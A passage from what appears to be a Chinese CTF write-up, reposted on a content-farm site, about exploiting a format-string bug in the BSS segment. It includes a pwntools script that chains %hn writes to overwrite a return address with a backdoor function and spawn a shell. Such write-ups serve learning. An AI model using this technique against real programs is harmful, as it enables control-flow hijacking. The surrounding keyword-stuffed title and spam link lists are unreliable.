当前位置: 首页 > wzjs >正文

哪些网站是php做的品牌网站建设十小蝌蚪

哪些网站是php做的,品牌网站建设十小蝌蚪,网页设计美工培训班,wordpress 编程语言BSS段上的fmt不同于一般的fmt,泄露的栈上地址不能直接修改利用需要借助rbp以及栈上的链条间接写到栈上做这类题的最终目的是将返回地址改为目标地址做题步骤为1.泄露某个栈地址,根据偏移定位RBP8(返回地址位置)2.再利用fmt找到一个…

BSS段上的fmt不同于一般的fmt,泄露的栈上地址不能直接修改利用

需要借助rbp以及栈上的链条间接写到栈上

做这类题的最终目的是将返回地址改为目标地址

做题步骤为

1.泄露某个栈地址,根据偏移定位RBP+8(返回地址位置)

2.再利用fmt找到一个带有指向链条的栈地址并且得出这些地址的fmt偏移(addr1->addr2)

3.将addr1改为RBP+8地址,再将addr2改为目标地址(后门函数或system)

用一个BSSFMT题目为例:

checksec:

64位 开了Canary和NX

IDA64打开 查看函数 

会循环进行read和printf 存在格式化字符串漏洞

同时变量在BSS段上

有后门函数

gdb调试一下,找到偏移:

这里使用fmt偏移为10的栈地址,和rbp+8的地址距离为0x38

同时注意到r12的位置存在一个指向链,一个个偏移试出它们对应的fmt偏移是17,47:

接下来按照步骤进行写入:

from pwn import *p = process('./bssfmt')
context.log_level = 'debug'shell = 0x400A86
p.sendlineafter("FMT TESTING....\n", b'%10$p')
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
print(hex(stack))
rip = ((stack) & 0xffff) - 0x38
#1----根据偏移定位RBP+8p.sendlineafter(b"> ", b"yes")
payload = b'%' + str(rip).encode() + b'c%17$hn'
#gdb.attach(p)
p.sendline(payload)
#2----将addr1改为RBP+8地址p.sendlineafter(b"> ", b"yes")
payload2 =b'%' + str(shell & 0xffff).encode() + b'c%47$hn'
#pause()
p.sendline(payload2)
#3----再将addr2改为后门函数
p.interactive()

这样,就能让RBP+8(返回地址)的位置指向了后门函数,从而get shell

同时,有几点需要注意:

1.在动态调试的时候,出现了没有16字节对齐的情况,这个时候需要按照栈对齐的方法,把后门函数地址+1来保证栈对齐

2.尽量使用%hn或%hhn来写入数据,虽然%n在这题没问题,但是一次写入过多字节可能导致程序崩溃,而且使用%n的exp时,也会出现接收极多数据的现象(虽然也能打通,但是看起来很怪):

3.关于泄露rbp+8地址的选择,只要能得出固定偏移即可,在这题中,使用fmt偏移为8的栈地址同样能打通,只是离rbp+8的距离会改为0x150


文章转载自:

http://3hwRchX5.ktqtf.cn
http://V7o0T0nX.ktqtf.cn
http://7w6fkfMJ.ktqtf.cn
http://VvCgg91D.ktqtf.cn
http://gwU0bEtz.ktqtf.cn
http://UdtelOh8.ktqtf.cn
http://3OUG3kiQ.ktqtf.cn
http://46XkjL0R.ktqtf.cn
http://Zgz4dYJt.ktqtf.cn
http://AeQjIf5s.ktqtf.cn
http://3elaS8nf.ktqtf.cn
http://WIh9RtH4.ktqtf.cn
http://o9e94keB.ktqtf.cn
http://QJKgdxLJ.ktqtf.cn
http://kvct7xxw.ktqtf.cn
http://HkJWcha1.ktqtf.cn
http://vo3EVQ8c.ktqtf.cn
http://nBD2DmqC.ktqtf.cn
http://7hvRt9c1.ktqtf.cn
http://H2juPqiI.ktqtf.cn
http://Xg9H169o.ktqtf.cn
http://YufTAQFR.ktqtf.cn
http://bOqJdFSL.ktqtf.cn
http://e1Uk16vH.ktqtf.cn
http://oC4X6NYT.ktqtf.cn
http://G9YXX5Xf.ktqtf.cn
http://gUZWRJYQ.ktqtf.cn
http://0VImsBcs.ktqtf.cn
http://vpjukfe6.ktqtf.cn
http://hT5l46De.ktqtf.cn
http://www.dtcms.com/wzjs/767650.html

相关文章:

  • 有什么好的免费网站做教育宣传网络哪里能接活做网站
  • 怎么做淘宝网站深圳营销型网站建设优化
  • wordpress怎么搭建分享网站怎样解除拦截网站设置
  • 网站建设推广工资盗墓笔记wordpress小说主题
  • 团支部智慧团建网站湖南长沙有什么好玩的地方
  • 电子商务网站建设思维导图环球军事最新消息
  • 东莞网站建设报价方案做流量网站
  • 电商网站设计网络服务创意设计app
  • 巫山做网站那家好免费的微商城平台
  • 拼多多网站建设框架图权重6网站怎么做
  • 网站做301好不好想自己做一个网站应该怎么弄
  • 光谷做网站推广做棋牌辅助网站
  • 电话做网站的推广宿迁手机网站开发公司电话
  • 大型网站建设建站模板旅游软件排行榜前十名
  • 泉州网站建设优化公司wordpress 分类 php
  • 优秀品牌网站案例分析胶州国际网站建设效果
  • 什么叫网站地图网站一键收录
  • 百度手机模板网站张家界商城网站开发设计
  • 织梦做的网站后台怎么进wordpress邮件验证码
  • 影院网站怎么做学校建设服务网网站建设方案项目书
  • 襄樊网站开发深圳经济最新新闻
  • 孟津网站开发公明网站制作
  • 网站空间租用有哪些服务软件推广赚钱一个30
  • 网站透明导航代码关键词优化排名易下拉系统
  • 微信注册网站专业网站设计制作
  • 漳州正规网站建设wordpress的mvc
  • 网站建设服务器一般多少钱设计 网站 现状
  • 网站如何做线上支付功能怎样制作网页链接教程
  • 褚橙的网站建设联图二维码生成器
  • 做pc端网站方案个人网站设计要求